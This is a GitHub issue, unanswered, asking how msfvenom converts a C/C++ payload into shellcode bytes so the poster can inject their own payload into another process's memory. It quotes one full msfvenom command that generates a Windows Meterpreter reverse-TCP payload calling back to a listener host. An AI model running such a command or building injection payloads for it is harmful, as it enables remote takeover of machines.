Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

how does msfvenom generate those assembly bytes from a c/c++ payload? #16

Open
anasouardini-old opened this issue Oct 31, 2021 · 0 comments

Comments

@anasouardini-old
Copy link

the msfvenom tool, using this command ex: msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=443 -f csharp. will generates bytes of assembly of the a payload written in C language.

i've been looking for a way to do this with my cpp payload for 7days but i found nothing about this online. i have a payload written in cpp but i want to inject it into memory and execute it in a new process.

i've compiled it into an exe and injected it using a complexe way but it caused many isues, and after solving solving those issues the app still give an error from time to time, i guess it's because injecting an exe binary is a lot difficult than i thought.

so i thought the way that msfvenom does it is easier and better. but i've stuck with it for 7 days with no result. i thought i could just write the whole payload in assembly but wfter relizing that the size of the payload reached 200kb i said no way.

again i thought that i could just copy the assembly bytes from the dissassembly window in VisualStudio, but a guy in stackoverflow told me that it's not going to work you need to write it manually in assembly or code it in hex manually using instructions reference. i don't know what the second option means but manually is definitelly a hard-way of doing it.

but how does the msfvenom do it automatically???
how does msfvenom generate those assembly bytes from a c/c++ payload?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant